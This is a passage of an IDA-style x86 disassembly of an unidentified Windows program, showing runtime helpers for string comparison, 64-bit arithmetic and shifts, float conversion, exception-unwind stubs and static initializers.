dec eax loc_427678: ; CODE XREF: sub_42740A+22Ej cmp eax, ecx jnb short loc_427672 loc_42767C: ; CODE XREF: sub_42740A+26Bj cmp eax, ecx jnb short loc_427653 mov byte ptr [ecx], 30h loc_427683: ; CODE XREF: sub_42740A+17Aj and word ptr [ebx], 0 xor eax, eax mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+5], 0 inc eax jmp short loc_427665 sub_42740A endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+10h] or ecx, ecx jz short loc_4276FA mov esi, [ebp+8] mov edi, [ebp+0Ch] mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_4276BC: ; CODE XREF: .text:004276E9j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_4276EB or al, al jz short loc_4276EB add esi, 1 add edi, 1 cmp ah, bh jb short loc_4276D8 cmp ah, bl ja short loc_4276D8 add ah, dh loc_4276D8: ; CODE XREF: .text:004276D0j ; .text:004276D4j cmp al, bh jb short loc_4276E2 cmp al, bl ja short loc_4276E2 add al, dh loc_4276E2: ; CODE XREF: .text:004276DAj ; .text:004276DEj cmp ah, al jnz short loc_4276F1 sub ecx, 1 jnz short loc_4276BC loc_4276EB: ; CODE XREF: .text:004276C2j ; .text:004276C6j xor ecx, ecx cmp ah, al jz short loc_4276FA loc_4276F1: ; CODE XREF: .text:004276E4j mov ecx, 0FFFFFFFFh jb short loc_4276FA neg ecx loc_4276FA: ; CODE XREF: .text:004276ABj ; .text:004276EFj ... mov eax, ecx pop ebx pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427702 proc near ; CODE XREF: sub_41DE8C+13p ; sub_41E11A+24p jmp ds:dword_429194 sub_427702 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_427710 proc near ; CODE XREF: sub_417AA4+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_427732 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_427773 ; --------------------------------------------------------------------------- loc_427732: ; CODE XREF: sub_427710+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_427740: ; CODE XREF: sub_427710+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_427740 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_42776E cmp edx, [esp+8+arg_4] ja short loc_42776E jb short loc_42776F cmp eax, [esp+8+arg_0] jbe short loc_42776F loc_42776E: ; CODE XREF: sub_427710+4Ej ; sub_427710+54j dec esi loc_42776F: ; CODE XREF: sub_427710+56j ; sub_427710+5Cj xor edx, edx mov eax, esi loc_427773: ; CODE XREF: sub_427710+20j pop esi pop ebx retn 10h sub_427710 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427778 proc near ; CODE XREF: sub_40FEC3+1Bp ; sub_4102C7+69p ... var_20 = dword ptr -20h var_10 = qword ptr -10h var_8 = dword ptr -8 push ebp mov ebp, esp sub esp, 20h and esp, 0FFFFFFF0h fld st fst [esp+20h+var_8] fistp [esp+20h+var_10] fild [esp+20h+var_10] mov edx, [esp+20h+var_8] mov eax, dword ptr [esp+20h+var_10] test eax, eax jz short loc_4277D7 loc_42779B: ; CODE XREF: sub_427778+69j fsubp st(1), st test edx, edx jns short loc_4277BF fstp [esp+20h+var_20] mov ecx, [esp+20h+var_20] xor ecx, 80000000h add ecx, 7FFFFFFFh adc eax, 0 mov edx, dword ptr [esp+20h+var_10+4] adc edx, 0 jmp short locret_4277EB ; --------------------------------------------------------------------------- loc_4277BF: ; CODE XREF: sub_427778+27j fstp [esp+20h+var_20] mov ecx, [esp+20h+var_20] add ecx, 7FFFFFFFh sbb eax, 0 mov edx, dword ptr [esp+20h+var_10+4] sbb edx, 0 jmp short locret_4277EB ; --------------------------------------------------------------------------- loc_4277D7: ; CODE XREF: sub_427778+21j mov edx, dword ptr [esp+20h+var_10+4] test edx, 7FFFFFFFh jnz short loc_42779B fstp [esp+20h+var_8] fstp [esp+20h+var_8] locret_4277EB: ; CODE XREF: sub_427778+45j ; sub_427778+5Dj leave retn sub_427778 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4277F0 proc near ; CODE XREF: sub_410500+18p cmp cl, 40h jnb short loc_42780B cmp cl, 20h jnb short loc_427800 shrd eax, edx, cl sar edx, cl retn ; --------------------------------------------------------------------------- loc_427800: ; CODE XREF: sub_4277F0+8j mov eax, edx sar edx, 1Fh and cl, 1Fh sar eax, cl retn ; --------------------------------------------------------------------------- loc_42780B: ; CODE XREF: sub_4277F0+3j sar edx, 1Fh mov eax, edx retn sub_4277F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_427820 proc near ; CODE XREF: sub_4104D3+18p cmp cl, 40h jnb short loc_42783A cmp cl, 20h jnb short loc_427830 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_427830: ; CODE XREF: sub_427820+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_42783A: ; CODE XREF: sub_427820+3j xor eax, eax xor edx, edx retn sub_427820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_427840 proc near ; CODE XREF: sub_4104A3+1Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push edi xor edi, edi mov eax, [esp+8+arg_4] or eax, eax jge short loc_427860 inc edi mov edx, [esp+8+arg_0] neg eax neg edx sbb eax, 0 mov [esp+8+arg_4], eax mov [esp+8+arg_0], edx loc_427860: ; CODE XREF: sub_427840+Aj mov eax, [esp+8+arg_C] or eax, eax jge short loc_42787B mov edx, [esp+8+arg_8] neg eax neg edx sbb eax, 0 mov [esp+8+arg_C], eax mov [esp+8+arg_8], edx loc_42787B: ; CODE XREF: sub_427840+26j or eax, eax jnz short loc_42789A mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov eax, [esp+8+arg_0] div ecx mov eax, edx xor edx, edx dec edi jns short loc_4278E6 jmp short loc_4278ED ; --------------------------------------------------------------------------- loc_42789A: ; CODE XREF: sub_427840+3Dj mov ebx, eax mov ecx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4278A8: ; CODE XREF: sub_427840+72j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4278A8 div ecx mov ecx, eax mul [esp+8+arg_C] xchg eax, ecx mul [esp+8+arg_8] add edx, ecx jb short loc_4278D3 cmp edx, [esp+8+arg_4] ja short loc_4278D3 jb short loc_4278DB cmp eax, [esp+8+arg_0] jbe short loc_4278DB loc_4278D3: ; CODE XREF: sub_427840+83j ; sub_427840+89j sub eax, [esp+8+arg_8] sbb edx, [esp+8+arg_C] loc_4278DB: ; CODE XREF: sub_427840+8Bj ; sub_427840+91j sub eax, [esp+8+arg_0] sbb edx, [esp+8+arg_4] dec edi jns short loc_4278ED loc_4278E6: ; CODE XREF: sub_427840+56j neg edx neg eax sbb edx, 0 loc_4278ED: ; CODE XREF: sub_427840+58j ; sub_427840+A4j pop edi pop ebx retn 10h sub_427840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= SEH_41B760 proc near ; DATA XREF: sub_41B760+5o mov eax, offset dword_4310A4 jmp sub_41E16C SEH_41B760 endp ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_40183A ; --------------------------------------------------------------------------- loc_427912: ; DATA XREF: sub_41B9F9o sub_41BA51o mov eax, offset dword_431138 jmp sub_41E16C ; --------------------------------------------------------------------------- mov eax, [ebp+8] jmp loc_4099F5 ; --------------------------------------------------------------------------- loc_427924: ; DATA XREF: .text:004319BCo mov esi, [ebp+8] add esi, 4 jmp sub_4073E0 ; --------------------------------------------------------------------------- loc_42792F: ; DATA XREF: sub_40E258o sub_40E2F1o mov eax, offset dword_4319C0 jmp sub_41E16C ; --------------------------------------------------------------------------- mov eax, [ebp+8] jmp sub_40E135 ; --------------------------------------------------------------------------- loc_427941: ; DATA XREF: sub_40C5E6o mov eax, offset dword_431284 jmp sub_41E16C ; --------------------------------------------------------------------------- lea eax, [ebp-20h] jmp loc_406A84 ; --------------------------------------------------------------------------- loc_427953: ; DATA XREF: .text:004312ACo lea eax, [ebp-10h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-14h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-1Ch] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-18h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea ecx, [ebp-58h] jmp loc_406074 ; --------------------------------------------------------------------------- lea ecx, [ebp-48h] jmp loc_406074 ; --------------------------------------------------------------------------- lea eax, [ebp-24h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-2Ch] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-28h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea ecx, [ebp-88h] jmp loc_406074 ; --------------------------------------------------------------------------- lea ecx, [ebp-98h] jmp loc_406074 ; --------------------------------------------------------------------------- lea eax, [ebp-30h] jmp loc_40606B ; --------------------------------------------------------------------------- lea eax, [ebp-60h] jmp loc_406A89 ; --------------------------------------------------------------------------- loc_4279C1: ; DATA XREF: sub_406B3F:loc_406B93o mov eax, offset dword_431310 jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp+0Ch] jmp loc_405CA8 ; --------------------------------------------------------------------------- loc_4279D3: ; DATA XREF: sub_402382o mov eax, offset dword_431334 jmp sub_41E16C ; --------------------------------------------------------------------------- lea eax, [ebp-18h] jmp sub_40D8F7 ; --------------------------------------------------------------------------- loc_4279E5: ; DATA XREF: sub_40FD30o mov eax, offset dword_431358 jmp sub_41E16C ; --------------------------------------------------------------------------- loc_4279EF: ; DATA XREF: sub_401E8Eo mov eax, offset dword_4313DC jmp sub_41E16C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_41C855 ; --------------------------------------------------------------------------- loc_427A01: ; DATA XREF: sub_401000o sub_401E4Bo mov eax, offset dword_431400 jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-40h] jmp sub_405EDB ; --------------------------------------------------------------------------- lea esi, [ebp-48h] jmp sub_405EDB ; --------------------------------------------------------------------------- loc_427A1B: ; DATA XREF: sub_40CA30o mov eax, offset dword_43142C jmp sub_41E16C ; --------------------------------------------------------------------------- mov ecx, [ebp+8] jmp sub_416AA6 ; --------------------------------------------------------------------------- loc_427A2D: ; DATA XREF: sub_407A31o sub_40805Do ... mov eax, offset dword_43123C jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-20h] jmp sub_405EDB ; --------------------------------------------------------------------------- loc_427A3F: ; DATA XREF: .text:00431454o push dword ptr [ebp-24h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- loc_427A49: ; DATA XREF: .text:loc_40C742o mov eax, offset dword_431458 jmp sub_41E16C ; --------------------------------------------------------------------------- lea eax, [ebp-1Ch] jmp loc_40606B ; --------------------------------------------------------------------------- loc_427A5B: ; DATA XREF: sub_4095D4o mov eax, offset dword_43147C jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-14h] jmp loc_405CA8 ; --------------------------------------------------------------------------- loc_427A6D: ; DATA XREF: .text:loc_408B59o mov eax, offset dword_4314A0 jmp sub_41E16C ; --------------------------------------------------------------------------- lea eax, [ebp-10h] jmp loc_406A84 ; --------------------------------------------------------------------------- loc_427A7F: ; DATA XREF: .text:004314CCo lea eax, [ebp-14h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-18h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea ecx, [ebp-80h] jmp loc_406074 ; --------------------------------------------------------------------------- lea ecx, [ebp-70h] jmp loc_406074 ; --------------------------------------------------------------------------- lea eax, [ebp-28h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-24h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-20h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-1Ch] jmp loc_406A84 ; --------------------------------------------------------------------------- lea ecx, [ebp-0ACh] jmp loc_406074 ; --------------------------------------------------------------------------- lea ecx, [ebp-0DCh] jmp loc_406074 ; --------------------------------------------------------------------------- lea eax, [ebp-34h] jmp loc_40606B ; --------------------------------------------------------------------------- lea eax, [ebp-2Ch] jmp loc_40606B ; --------------------------------------------------------------------------- lea eax, [ebp-30h] jmp loc_40606B ; --------------------------------------------------------------------------- lea eax, [ebp-3Ch] jmp loc_40606B ; --------------------------------------------------------------------------- lea eax, [ebp-38h] jmp loc_40606B ; --------------------------------------------------------------------------- lea eax, [ebp-4Ch] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-40h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-48h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea eax, [ebp-50h] jmp loc_406A84 ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp loc_406074 ; --------------------------------------------------------------------------- lea ecx, [ebp-0BCh] jmp loc_406074 ; --------------------------------------------------------------------------- lea eax, [ebp-44h] jmp loc_40606B ; --------------------------------------------------------------------------- lea eax, [ebp-54h] jmp loc_40606B ; --------------------------------------------------------------------------- lea eax, [ebp+8] jmp loc_40606B ; --------------------------------------------------------------------------- lea eax, [ebp-60h] jmp loc_40606B ; --------------------------------------------------------------------------- lea eax, [ebp-5Ch] jmp loc_40606B ; --------------------------------------------------------------------------- loc_427B5B: ; DATA XREF: sub_4060DCo mov eax, offset dword_431598 jmp sub_41E16C ; --------------------------------------------------------------------------- jmp nullsub_3 ; --------------------------------------------------------------------------- loc_427B6A: ; DATA XREF: sub_40219Co mov eax, offset dword_4315BC jmp sub_41E16C ; --------------------------------------------------------------------------- loc_427B74: ; DATA XREF: sub_402047o mov eax, offset dword_43160C jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-10h] jmp loc_405CA8 ; --------------------------------------------------------------------------- loc_427B86: ; DATA XREF: .text:loc_416C13o mov eax, offset dword_431630 jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-1Ch] jmp sub_405EDB ; --------------------------------------------------------------------------- loc_427B98: ; DATA XREF: .text:loc_407AFAo ; .text:loc_41679Do mov eax, offset dword_431C88 jmp sub_41E16C ; --------------------------------------------------------------------------- loc_427BA2: ; DATA XREF: sub_415B6Eo mov eax, offset dword_4316B4 jmp sub_41E16C ; --------------------------------------------------------------------------- loc_427BAC: ; DATA XREF: sub_415989o mov eax, offset dword_431738 jmp sub_41E16C ; --------------------------------------------------------------------------- loc_427BB6: ; DATA XREF: sub_41579Ao mov eax, offset dword_4317BC jmp sub_41E16C ; --------------------------------------------------------------------------- mov ecx, [ebp+8] jmp sub_416AA6 ; --------------------------------------------------------------------------- loc_427BC8: ; DATA XREF: .text:004317E4o mov eax, [ebp+8] add eax, 10h jmp loc_4099F5 ; --------------------------------------------------------------------------- mov esi, [ebp+8] add esi, 14h jmp sub_4073E0 ; --------------------------------------------------------------------------- mov esi, [ebp+8] add esi, 24h jmp sub_4073E0 ; --------------------------------------------------------------------------- loc_427BE9: ; DATA XREF: sub_4150A5o mov eax, offset dword_4317F8 jmp sub_41E16C ; --------------------------------------------------------------------------- loc_427BF3: ; DATA XREF: sub_413AD1o mov eax, offset dword_4318A0 jmp sub_41E16C ; --------------------------------------------------------------------------- mov esi, [ebp+8] add esi, 104h jmp sub_4073E0 ; --------------------------------------------------------------------------- loc_427C0B: ; DATA XREF: sub_413878o mov eax, offset dword_4318C4 jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-2Ch] jmp sub_40FE7D ; --------------------------------------------------------------------------- loc_427C1D: ; DATA XREF: .text:004318ECo lea esi, [ebp-74h] jmp sub_40FE7D ; --------------------------------------------------------------------------- lea esi, [ebp-44h] jmp sub_40FE7D ; --------------------------------------------------------------------------- lea esi, [ebp-5Ch] jmp sub_40FE7D ; --------------------------------------------------------------------------- lea esi, [ebp-0A4h] jmp sub_40FE7D ; --------------------------------------------------------------------------- lea esi, [ebp-8Ch] jmp sub_40FE7D ; --------------------------------------------------------------------------- loc_427C4B: ; DATA XREF: sub_412B5Eo mov eax, offset dword_431910 jmp sub_41E16C ; --------------------------------------------------------------------------- loc_427C55: ; DATA XREF: sub_40E83Bo mov eax, offset dword_431994 jmp sub_41E16C ; --------------------------------------------------------------------------- mov ecx, [ebp+8] jmp sub_415135 ; --------------------------------------------------------------------------- loc_427C67: ; DATA XREF: sub_40C31Co mov eax, offset dword_4319E4 jmp sub_41E16C ; --------------------------------------------------------------------------- loc_427C71: ; DATA XREF: sub_402138o mov eax, offset dword_431A34 jmp sub_41E16C ; --------------------------------------------------------------------------- loc_427C7B: ; DATA XREF: sub_4020D3o mov eax, offset dword_431A84 jmp sub_41E16C ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_40183A ; --------------------------------------------------------------------------- loc_427C8D: ; DATA XREF: sub_40C38Fo mov eax, offset dword_43181C jmp sub_41E16C ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp loc_40183A ; --------------------------------------------------------------------------- loc_427C9F: ; DATA XREF: sub_401C28o mov eax, offset dword_431B10 jmp sub_41E16C ; --------------------------------------------------------------------------- loc_427CA9: ; DATA XREF: sub_401844o mov eax, offset dword_431B60 jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-38h] jmp loc_4018A7 ; --------------------------------------------------------------------------- loc_427CBB: ; DATA XREF: .text:00431B88o lea ecx, [ebp-94h] jmp loc_40183A ; --------------------------------------------------------------------------- loc_427CC6: ; DATA XREF: sub_4013ECo mov eax, offset dword_431B8C jmp sub_41E16C ; --------------------------------------------------------------------------- lea edi, [ebp-168h] jmp loc_4127FE ; --------------------------------------------------------------------------- loc_427CDB: ; DATA XREF: .text:00431BB4o push dword ptr [ebp-36Ch] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- loc_427CE8: ; DATA XREF: .text:00431BBCo push dword ptr [ebp-370h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- loc_427CF5: ; DATA XREF: .text:00431BC4o lea esi, [ebp-40h] jmp sub_40FE7D ; --------------------------------------------------------------------------- loc_427CFD: ; DATA XREF: sub_41226Ao mov eax, offset dword_431BC8 jmp sub_41E16C ; --------------------------------------------------------------------------- mov eax, [ebp+8] jmp loc_4099F5 ; --------------------------------------------------------------------------- loc_427D0F: ; DATA XREF: .text:00431BF0o mov esi, [ebp+8] add esi, 4 jmp sub_4073E0 ; --------------------------------------------------------------------------- push dword ptr [ebp-10h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- loc_427D24: ; DATA XREF: sub_407D47o sub_40C251o ... mov eax, offset dword_431BFC jmp sub_41E16C ; --------------------------------------------------------------------------- mov ecx, [ebp+8] jmp sub_416AA6 ; --------------------------------------------------------------------------- loc_427D36: ; DATA XREF: .text:00431C24o mov eax, [ebp+8] add eax, 20h jmp loc_4099F5 ; --------------------------------------------------------------------------- mov edi, [ebp+8] add edi, 24h jmp sub_40B9E3 ; --------------------------------------------------------------------------- loc_427D4C: ; DATA XREF: sub_40E4C6o mov eax, offset dword_431C30 jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-3Ch] jmp loc_4018A7 ; --------------------------------------------------------------------------- loc_427D5E: ; DATA XREF: .text:00431C58o lea eax, [ebp-1Ch] jmp loc_40606B ; --------------------------------------------------------------------------- lea ecx, [ebp-58h] jmp loc_40183A ; --------------------------------------------------------------------------- loc_427D6E: ; DATA XREF: sub_409729o mov eax, offset dword_431C64 jmp sub_41E16C ; --------------------------------------------------------------------------- lea eax, [ebp-1Ch] jmp sub_40D8F7 ; --------------------------------------------------------------------------- loc_427D80: ; DATA XREF: .text:00431CB0o jmp loc_40473A ; --------------------------------------------------------------------------- loc_427D85: ; DATA XREF: sub_416071o mov eax, offset dword_431CB4 jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-20h] jmp sub_4073E0 ; --------------------------------------------------------------------------- loc_427D97: ; DATA XREF: sub_412A38o mov eax, offset dword_431CD8 jmp sub_41E16C ; --------------------------------------------------------------------------- mov esi, [ebp+8] jmp sub_4073E0 ; --------------------------------------------------------------------------- loc_427DA9: ; DATA XREF: sub_4121C3o sub_412B23o mov eax, offset dword_431CFC jmp sub_41E16C ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 104h jmp loc_410A32 ; --------------------------------------------------------------------------- loc_427DC0: ; DATA XREF: .text:00431D24o mov edi, [ebp+8] add edi, 15Ch jmp sub_4121AA ; --------------------------------------------------------------------------- mov edi, [ebp+8] add edi, 288h jmp sub_413EB2 ; --------------------------------------------------------------------------- mov edi, [ebp+8] add edi, 2A8h jmp sub_413EB2 ; --------------------------------------------------------------------------- mov esi, [ebp+8] add esi, 2C8h jmp sub_4073E0 ; --------------------------------------------------------------------------- push dword ptr [ebp+0Ch] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- push dword ptr [ebp-44h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- loc_427EA2: ; DATA XREF: sub_411377o mov eax, offset dword_431DC8 jmp sub_41E16C ; --------------------------------------------------------------------------- mov ecx, [ebp+8] jmp sub_416AA6 ; --------------------------------------------------------------------------- loc_427EB4: ; DATA XREF: .text:00431DF0o push dword ptr [ebp+0Ch] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- loc_427EBE: ; DATA XREF: sub_411299o mov eax, offset dword_431DF4 jmp sub_41E16C ; --------------------------------------------------------------------------- push dword ptr [ebp+8] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- loc_427ED2: ; DATA XREF: sub_40F072o sub_40F340o ... mov eax, offset dword_431260 jmp sub_41E16C ; --------------------------------------------------------------------------- push dword ptr [ebp-10h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- loc_427EE6: ; DATA XREF: sub_407DB9o sub_40C201o ... mov eax, offset dword_431E18 jmp sub_41E16C ; --------------------------------------------------------------------------- lea eax, [ebp-20h] jmp sub_40D8F7 ; --------------------------------------------------------------------------- loc_427EF8: ; DATA XREF: sub_40BDE3o mov eax, offset dword_431E3C jmp sub_41E16C ; --------------------------------------------------------------------------- lea eax, [ebp-54h] jmp sub_40D8F7 ; --------------------------------------------------------------------------- loc_427F0A: ; DATA XREF: .text:00431E64o lea esi, [ebp+30h] jmp loc_405CA8 ; --------------------------------------------------------------------------- loc_427F12: ; DATA XREF: .text:0040A3CBo mov eax, offset dword_431E68 jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-34h] jmp loc_4018A7 ; --------------------------------------------------------------------------- loc_427F24: ; DATA XREF: sub_4098F3o mov eax, offset dword_431E8C jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-44h] jmp sub_405EDB ; --------------------------------------------------------------------------- loc_427F36: ; DATA XREF: .text:00431EB4o push dword ptr [ebp-24h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- loc_427F40: ; DATA XREF: .text:loc_4081E6o mov eax, offset dword_431EB8 jmp sub_41E16C ; --------------------------------------------------------------------------- lea esi, [ebp-14h] jmp sub_405EDB ; --------------------------------------------------------------------------- loc_427F52: ; DATA XREF: sub_40C14Bo sub_40F7ADo mov eax, offset dword_431EDC jmp sub_41E16C ; --------------------------------------------------------------------------- push dword ptr [ebp-14h] call sub_41C7B8 pop ecx retn ; --------------------------------------------------------------------------- loc_427F66: ; DATA XREF: .text:loc_40BA1Ao ; sub_413D9Eo mov eax, offset dword_431F00 jmp sub_41E16C ; =============== S U B R O U T I N E ======================================= sub_427F70 proc near ; DATA XREF: .text:00433010o push 18h call sub_41BA91 pop ecx xor ecx, ecx cmp eax, ecx jz short loc_427F9D mov dword ptr [eax], offset off_42FED8 mov [eax+4], ecx mov dword ptr [eax+8], 1 mov [eax+0Ch], ecx mov dword ptr [eax+10h], 80040202h mov [eax+14h], ecx jmp short loc_427F9F ; --------------------------------------------------------------------------- loc_427F9D: ; CODE XREF: sub_427F70+Cj xor eax, eax loc_427F9F: ; CODE XREF: sub_427F70+2Bj mov ds:dword_438128, eax retn sub_427F70 endp ; =============== S U B R O U T I N E ======================================= sub_427FA5 proc near ; DATA XREF: .text:00433014o push edi mov edi, offset off_438130 call sub_407EBB push offset loc_4280F0 call sub_41C58E pop ecx pop edi retn sub_427FA5 endp ; =============== S U B R O U T I N E ======================================= sub_427FBD proc near ; DATA XREF: .text:00433018o mov eax, offset dword_438154 call sub_407F4B push offset loc_4280FA call sub_41C58E pop ecx retn sub_427FBD endp ; =============== S U B R O U T I N E ======================================= sub_427FD3 proc near ; DATA XREF: .text:0043301Co push esi mov esi, offset dword_438150 call sub_4099E5 push offset loc_428107 call sub_41C58E pop ecx pop esi retn sub_427FD3 endp ; --------------------------------------------------------------------------- push edi mov edi, offset dword_438188 call sub_40EBF2 push offset loc_428114 call sub_41C58E pop ecx pop edi retn ; --------------------------------------------------------------------------- loc_428003: ; DATA XREF: .text:00433024o push edi mov edi, offset dword_438174 call sub_40EBF2 push offset loc_42811E call sub_41C58E pop ecx pop edi retn ; --------------------------------------------------------------------------- loc_42801B: ; DATA XREF: .text:00433028o push offset loc_428128 call sub_41C58E pop ecx retn ; --------------------------------------------------------------------------- loc_428027: ; DATA XREF: .text:0043302Co push offset dword_43819C call sub_40E258 push offset loc_428135 call sub_41C58E pop ecx retn ; --------------------------------------------------------------------------- loc_42803D: ; DATA XREF: .text:00433030o push edi mov edi, offset dword_4381B8 call sub_40EBF2 push offset loc_428140 call sub_41C58E pop ecx pop edi retn ; --------------------------------------------------------------------------- loc_428055: ; DATA XREF: .text:00433034o push 18h call sub_41BA91 pop ecx xor ecx, ecx cmp eax, ecx jz short loc_428082 mov dword ptr [eax], offset off_42FED8 mov [eax+4], ecx mov dword ptr [eax+8], 1 mov [eax+0Ch], ecx mov dword ptr [eax+10h], 80040202h mov [eax+14h], ecx jmp short loc_428084 ; --------------------------------------------------------------------------- loc_428082: ; CODE XREF: .text:00428061j xor eax, eax loc_428084: ; CODE XREF: .text:00428080j mov ds:dword_4381CC, eax retn ; --------------------------------------------------------------------------- loc_42808A: ; DATA XREF: .text:00433038o push esi mov esi, offset dword_4381D4 call sub_40466F push offset loc_42814A call sub_41C58E pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4280A2: ; DATA XREF: .text:0043303Co push esi mov esi, offset dword_4381D0 call sub_4099E5 push offset loc_428154 call sub_41C58E pop ecx pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4280C0 proc near ; DATA XREF: .text:0043300Co push offset loc_428170 call sub_41C58E pop ecx retn sub_4280C0 endp ; =============== S U B R O U T I N E ======================================= sub_4280CC proc near ; DATA XREF: .text:00433008o ; FUNCTION CHUNK AT 0040728E SIZE 00000050 BYTES ; FUNCTION CHUNK AT 0040EC0A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0041BB91 SIZE 00000016 BYTES mov ecx, offset dword_435490 call sub_41BBA7 push offset loc_428190 call sub_41C58E pop ecx retn ; --------------------------------------------------------------------------- align 10h loc_4280F0: ; DATA XREF: sub_427FA5+Bo mov ecx, offset off_438130 jmp sub_40E07F ; --------------------------------------------------------------------------- loc_4280FA: ; DATA XREF: sub_427FBD+Ao push esi mov esi, offset dword_438154 call sub_4073E0 pop esi retn ; --------------------------------------------------------------------------- loc_428107: ; DATA XREF: 